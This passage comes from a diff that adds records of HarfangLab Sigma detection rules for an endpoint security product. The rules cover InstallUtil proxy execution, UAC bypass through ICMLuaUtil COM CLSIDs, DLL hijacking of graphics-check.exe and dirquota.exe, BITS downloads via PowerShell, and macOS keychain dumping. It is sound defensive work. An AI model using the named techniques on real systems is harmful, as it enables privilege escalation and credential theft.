/DemosDir=C:\\Users\\Public\\Documents\\DevExpress Demos 20.2\\Components /Version=20.2.12 /Component=DevExpressMenu /DemosName= /VSVersions=VS110;VS120;VS140;VS150;VS160; C:\\Program Files (x86)\\DevExpress 20.2\\Components\\System\\DevExpressMenu\\Bin\\DevExpress.Menu.Installer.dll\n        # C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /InstallType=NoTransaction /Action=Install /LogToConsole=true /LogFile= /ShowCallStack /InstallDir=C:\\Program Files (x86)\\DevExpress 17.2\\DevExtreme /DemosDir=C:\\Users\\Public\\Documents\\DevExpress Demos 17.2\\DevExtreme /Version=17.2.5 /Component=DevExtreme HTML JS /DemosName=HTML JS /VSVersions=VS100;VS110;VS120;VS140;VS150; C:\\Program Files (x86)\\DevExpress 17.2\\DevExtreme\\System\\DevExtreme HTML JS\\DXTreme.VsixInstaller.dll\n        CommandLine|contains|all:\n            - 'InstallUtil.exe /InstallType=NoTransaction /Action=Install /LogToConsole=true /LogFile= /ShowCallStack /InstallDir='\n            - '/DemosDir='\n            - '/Component='\n            - '/DemosName='\n            - '\\DevExpress '\n\n    exclusion_mysql:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\Microsoft.NET\\Framework\\v*\\installUtil.exe /LogToConsole=false * ?:\\Program Files (x86)\\MySQL\\MySQL Connector Net *\\'\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\installUtil.exe /LogToConsole=false * ?:\\Program Files (x86)\\MySQL\\Connector.NET *\\'\n\n    exclusion_kofax:\n        CommandLine|startswith: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\InstallUtil.exe * ?:\\Program Files (x86)\\Kofax\\Capture\\Bin\\'\n\n    exclusion_kardex:\n        CommandLine|startswith: '?:\\Program Files (x86)\\KARDEX\\Kardex Power Pick System\\InstallUtil.exe /LogToConsole=false /LogFile= '\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5b48cbef-ef63-4129-ad19-8865b975a9a2",
+  "rule_name": "Suspicious Proxy Execution via InstallUtil",
+  "rule_description": "Detects the suspicious usage of InstallUtil which is a Microsoft binary used for installing and uninstalling server resources.\nThis utility is part of the .NET Framework and can be used to run any .NET executables.\nAttackers may abuse this binary to bypass security restrictions.\nIt is recommended to verify the legitimacy of the executable launched by InstallUtil.\nThe parent process can also be a good indicator about the InstallUtil's execution context, such as the result of a legitimate software installation.\n",
+  "rule_creation_date": "2023-04-04",
+  "rule_modified_date": "2025-04-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5b70e3f8-bc77-44f7-a1df-f5f015e6ad03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077767Z",
+  "creation_date": "2026-03-23T11:45:34.077769Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077773Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gist.github.com/hfiref0x/a044cb0ad425488e38556408b179cb61",
+    "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08",
+    "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_icmluautil.yml",
+  "content": "title: UAC Bypass Executed via ICMLuaUtil\nid: 5b70e3f8-bc77-44f7-a1df-f5f015e6ad03\ndescription: |\n    Detects attempts to bypass the UAC via the ICMLuaUtil COM interface.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate surrounding alerts and to correlate them with actions performed by the DLLHost process to determine whether this action is legitimate.\nreferences:\n    - https://gist.github.com/hfiref0x/a044cb0ad425488e38556408b179cb61\n    - https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08\n    - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/12/03\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1218.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine|endswith:\n            # CMSTPLUA\n            - '\\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'\n            # CMLUAUTIL\n            - '\\DllHost.exe /Processid:{3E000D72-A845-4CD9-BD83-80C07C3B881F}'\n            # ColorDataProxy\n            - '\\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\system32\\WerFault.exe'\n\n    exclusion_wireguard:\n        Image: '?:\\Program Files\\WireGuard\\wireguard.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5b70e3f8-bc77-44f7-a1df-f5f015e6ad03",
+  "rule_name": "UAC Bypass Executed via ICMLuaUtil",
+  "rule_description": "Detects attempts to bypass the UAC via the ICMLuaUtil COM interface.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate surrounding alerts and to correlate them with actions performed by the DLLHost process to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2020-12-03",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.003",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5b9d91f9-ee6e-4bf2-879a-920f4bf62aca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590815Z",
+  "creation_date": "2026-03-23T11:45:34.590819Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590826Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_graphics_check.yml",
+  "content": "title: DLL Hijacking via graphics-check.exe\nid: 5b9d91f9-ee6e-4bf2-879a-920f4bf62aca\ndescription: |\n    Detects potential Windows DLL Hijacking via graphics-check.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\graphics-check.exe'\n        ProcessSignature: 'Orange View Ltd'\n        ImageLoaded|endswith: '\\dxgi.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\iTop'\n            - '?:\\Program Files (x86)\\iTop'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\iTop'\n            - '?:\\Program Files (x86)\\iTop'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Orange View Ltd'\n            - 'iTop Inc.'\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5b9d91f9-ee6e-4bf2-879a-920f4bf62aca",
+  "rule_name": "DLL Hijacking via graphics-check.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via graphics-check.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ba1dcdf-d94a-4e09-a0ee-104f04e4db05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090945Z",
+  "creation_date": "2026-03-23T11:45:34.090947Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090951Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dirquota.yml",
+  "content": "title: DLL Hijacking via dirquota.exe\nid: 5ba1dcdf-d94a-4e09-a0ee-104f04e4db05\ndescription: |\n    Detects potential Windows DLL Hijacking via dirquota.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dirquota.exe'\n        ImageLoaded|endswith:\n            - '\\mfc42u.dll'\n            - '\\srmtrace.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ba1dcdf-d94a-4e09-a0ee-104f04e4db05",
+  "rule_name": "DLL Hijacking via dirquota.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dirquota.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5bbb79dc-a1b1-497f-a6ed-91e61c9724b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079524Z",
+  "creation_date": "2026-03-23T11:45:34.079526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079530Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/win32/bits/using-windows-powershell-to-create-bits-transfer-jobs",
+    "https://www.mandiant.com/resources/blog/alphv-ransomware-backup",
+    "https://attack.mitre.org/techniques/T1197/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1197_powershell_download_bits.yml",
+  "content": "title: BITS Download Started via PowerShell\nid: 5bbb79dc-a1b1-497f-a6ed-91e61c9724b7\ndescription: |\n    Detects the suspicious usage of Start-BitsTransfer PowerShell cmdlet.\n    This cmdlet can be used to copy or download files via the Background Intelligent Transfer Service (BITS).\n    This service is an asynchronous file transfer mechanism and it is often used by attackers to download malicious files, exfiltrate data or maintain persistence.\n    By default, BITS jobs have a 90 days maximum lifetime if complete or cancel method are not called.\n    It is recommended to investigate the parent process for suspicious activities as well as to look for suspicious network connections performed by the svchost.exe process hosting the BITS service.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/win32/bits/using-windows-powershell-to-create-bits-transfer-jobs\n    - https://www.mandiant.com/resources/blog/alphv-ransomware-backup\n    - https://attack.mitre.org/techniques/T1197/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/06/17\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1197\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Start-BitsTransfer '\n\n    #exclusion_serviceportalagent:\n    #    PowershellCommand|contains|all:\n    #        - 'function Get-VersionFromString{'\n    #        - 'function Start-Download {'\n    #        - '# The progress bar breaks Metis return results'\n    #        - 'Start-BitsTransfer -Source $Source -Destination $Destination -ErrorAction Stop'\n\n    exclusion_programfiles:\n        PowershellScriptPath|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_serviceportalagent:\n        ProcessOriginalFileName: 'MmrAgent.NetFxEmulator.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: \"Microsoft Corporation\"\n\n    exclusion_sqlservr:\n        ProcessGrandparentImage: '?:\\MSSQL??.INS??\\MSSQL\\Binn\\sqlservr.exe'\n\n    exclusion_flutter:\n        PowershellCommand|contains: '# Copyright 2014 The Flutter Authors. All rights reserved.'\n        PowershellScriptPath|endswith: '\\bin\\internal\\update_dart_sdk.ps1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5bbb79dc-a1b1-497f-a6ed-91e61c9724b7",
+  "rule_name": "BITS Download Started via PowerShell",
+  "rule_description": "Detects the suspicious usage of Start-BitsTransfer PowerShell cmdlet.\nThis cmdlet can be used to copy or download files via the Background Intelligent Transfer Service (BITS).\nThis service is an asynchronous file transfer mechanism and it is often used by attackers to download malicious files, exfiltrate data or maintain persistence.\nBy default, BITS jobs have a 90 days maximum lifetime if complete or cancel method are not called.\nIt is recommended to investigate the parent process for suspicious activities as well as to look for suspicious network connections performed by the svchost.exe process hosting the BITS service.\n",
+  "rule_creation_date": "2022-06-17",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1105",
+    "attack.t1197"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5bde067c-304d-4d0b-8cb9-50699ac247df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294931Z",
+  "creation_date": "2026-03-23T11:45:35.294934Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294940Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.001/T1555.001.md",
+    "https://attack.mitre.org/techniques/T1555/001/"
+  ],
+  "name": "t1555_001_keychain_export_dump_keychain.yml",
+  "content": "title: MacOS Keychain Exported via Dump Keychain\nid: 5bde067c-304d-4d0b-8cb9-50699ac247df\ndescription: |\n    Detects the macOS Keychain being exported via security using the dump-keychain command.\n    Keychain (or Keychain Services) is the macOS credential management system.\n    Attackers may export macOS Keychain to gather user credentials, certificates, payment data, or secure notes.\n    It is recommended to analyze the context around the execution of the security binary to determine if this export is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.001/T1555.001.md\n    - https://attack.mitre.org/techniques/T1555/001/\ndate: 2022/08/29\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        # security dump-keychain -d\n        Image: '/usr/bin/security'\n        CommandLine|contains: 'dump-keychain'\n        ParentImage|contains: '?'\n\n    # Git LFS seems to use keychain.\n    exclusion_git_lfs:\n        ParentImage|endswith: '/bin/git-lfs'\n        CommandLine|contains|all:\n            - 'find-certificate'\n            - '/Library/Keychains/System.keychain'\n\n    # Visual Studio Code is expected to use keychain.\n    exclusion_vs_code:\n        ParentImage:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/Frameworks/Code - Insiders Helper (Plugin).app/Contents/MacOS/Code - Insiders Helper'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/Frameworks/Code - Insiders Helper (Plugin).app/Contents/MacOS/Code - Insiders Helper (Plugin)'\n            - '/Applications/Visual Studio Code.app/Contents/MacOS/Electron'\n            - '*/Visual Studio Code.app/Contents/MacOS/Electron'\n            - '*/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n            - '/Users/*/.vscode/extensions/sonarsource.sonarlint-vscode-*-*/*/*/bin/java'\n            - '/Users/*/.vscode-insiders/extensions/sonarsource.sonarlint-vscode-*-*/*/*-*/bin/java'\n            - '/Applications/Visual Studio Code - Insiders.app/Contents/MacOS/Electron'\n        CommandLine|contains: 'security find-certificate -a -p'\n\n    exclusion_glpi:\n        ParentImage: '/Applications/GLPI-Agent/bin/perl'\n\n    exclusion_docker:\n        - ParentImage: '/Applications/Docker.app/Contents/MacOS/com.docker.backend'\n          GrandparentImage:\n            - '/Applications/Docker.app/Contents/MacOS/Docker'\n            - '/sbin/launchd'\n            - '/Applications/Docker.app/Contents/MacOS/com.docker.backend'\n\n    exclusion_node:\n        ParentImage: '/Users/*/.nvm/versions/node/v*/bin/node'\n\n    exclusion_fortinet:\n        ParentImage:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/epctrl'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/ztagent'\n\n    exclusion_postman:\n        ParentImage: '/Applications/Postman.app/Contents/MacOS/Postman'\n\n    exclusion_lens:\n        ParentImage: '/Applications/Lens.app/Contents/MacOS/Lens'\n\n    exclusion_ruby:\n        ParentImage:\n            - '/opt/homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby'\n            - '/System/Library/Frameworks/Ruby.framework/Versions/*/usr/bin/ruby'\n\n    exclusion_azure:\n        ParentImage: '/Applications/Azure Data Studio.app/Contents/Frameworks/Azure Data Studio Helper (Plugin).app/Contents/MacOS/Azure Data Studio Helper (Plugin)'\n\n    exclusion_openvpn:\n        GrandparentImage: '/Applications/OpenVPN Connect/OpenVPN Connect.app/Contents/MacOS/OpenVPN Connect'\n\n    exclusion_rider:\n        ParentImage: '/users/*/applications/rider.app/contents/macos/rider'\n\n    exclusion_intellij:\n        ParentImage:\n            - '/Applications/IntelliJ IDEA.app/Contents/MacOS/idea'\n            - '/Users/*/Library/Application Support/JetBrains/IntelliJIdea*'\n\n    exclusion_common_folders:\n        - ProcessParentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/opt/homebrew/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5bde067c-304d-4d0b-8cb9-50699ac247df",
+  "rule_name": "MacOS Keychain Exported via Dump Keychain",
+  "rule_description": "Detects the macOS Keychain being exported via security using the dump-keychain command.\nKeychain (or Keychain Services) is the macOS credential management system.\nAttackers may export macOS Keychain to gather user credentials, certificates, payment data, or secure notes.\nIt is recommended to analyze the context around the execution of the security binary to determine if this export is legitimate.\n",
+  "rule_creation_date": "2022-08-29",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5c110770-959d-46ff-accb-461154a9d92d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594664Z",
+  "creation_date": "2026-03-23T11:45:34.594667Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594675Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/0xToxin/status/1622651732160282628",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_runtimebroker.yml",
